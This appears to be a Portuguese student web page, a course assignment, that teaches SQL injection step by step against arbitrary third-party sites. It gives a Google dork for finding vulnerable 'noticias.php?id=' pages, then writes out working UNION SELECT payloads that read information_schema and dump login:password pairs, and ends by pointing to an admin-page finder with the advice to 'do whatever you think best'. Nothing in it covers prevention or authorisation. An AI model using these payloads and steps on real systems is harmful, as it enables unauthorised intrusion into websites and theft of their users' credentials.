Início Conteúdo Imagens Formulário


O QUE É SQL INJECTION?

É uma vulnerabilidade existente nos dias de hoje, que si usa de uma manipulação em códigos sql. Esta vulnerabilidade permite ao atacante executar consultas ao banco de dados inserindo querys (comandos Sql) na url do site ou ate mesmo em campos de text. obtendo, assim, informações confidenciais como logins e senhas, dentre outros.

em exemplo estarei ensinando um básico logo abaixo..

1º Passo: Encontrar um site vulnerável.
Para isso vamos usar a seguinte string no google inurl:noticias.php?id=.

Aparecera uma lista de sites,escolha um e verifique se o site esta vulnerável a SQL INJECTION.

Suponhamos que voce escolheu o site:
http://sitevul.com.br/noticias.php?id=10
Para verficar se ele esta vulnerável é bem simples basta adicionar uma ASPAS no final do numero de ID.
http://sitevul.com.br/noticias.php?id=10'
Se aparecer uma mensagem de erro SQL o site esta vulnerável,se o site carregar normalmente ele não esta,e so partir para outro e tentar.

2º Passo: Aplicando os comandos SQL no site(UNIR AS TABELAS DO SITE).
Vamos procurar quantas tabelas o site possui com o comando ORDER BY ou GROUP BY ex:

http://sitevul.com.br/noticias.php?id=10 order by 1
Se o site carregar normalmente prossiga.
http://sitevul.com.br/noticias.php?id=10 order by 2
Se novamente carregar sem nenhum erro prossiga.
http://sitevul.com.br/noticias.php?id=10 order by 3
Se novamente carregar sem nenhum erro prossiga

http://sitevul.com.br/noticias.php?id=10 order by 4
Suponhamos que no order by 4 ele aparece uma mensagem de erro SQL,ok com isso verificamos que o site possui 3 tabelas.
Agora vamos unir as tabelas para saber em qual esta a informação desejada com o comando abaixo:

http://sitevul.com.br/noticias.php?id=-10 union all select 1,2,3--
Após a execução do comando suponhamos que a tabela foi a número 2.

3º Passo: Listando as tabelas e suas respectivas colunas.

Depois de ter unido as tabelas vamos lista-las com o comando:
http://sitevul.com.br/noticias.php?id=-10 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema =database()--

Suponhamos que apareçam as seguintes tabelas:
Usuarios,Links,News.

Nosso interesse e a tabela usuarios,agora vamos listar as colunas da tabela USUARIO com o comando:
http://sitevul.com.br/noticias.php?id=-10 union all select 1,group_concat(column_name),3 from information_schema.columns where table_name='Usuarios'--

Após isso teremos as colunas:
Login,senha,email.

4º Passo: Pegando os dados com o comando CONCAT.
Insira o seguinte comando após descoberta as colunas:
http://sitevul.com.br/noticias.php?id=-10 union all select 1,concat(Login,0x3a,senha),3 from Usuarios--
Entendo o comando acima,ele vai mostrar o LOGIN/SENHA da tabela USUARIOS,o FILTRO 0x3a e o : que vai separar o login e a senha.
Ex:
Admin:123456

5º Passo: Encontrando a pagina do admin.
Vou utilizar o programa ADMIN FINDER que pode ser encontrado aqui:
viewtopic.php?f=49&t=8557293
Coloque o endereço do site no campo Target: http://sitevul.com.br/
E espere,nao é sempre que o mesmo encontra a tabela de admin.
Depois de encontrar a pagina do admin e so fazer oque achar melhor.
Ex: http://sitevul.com.br/admin/login.php

Curso Técnico / Trabalho de Web I, T1IM1 - André Machado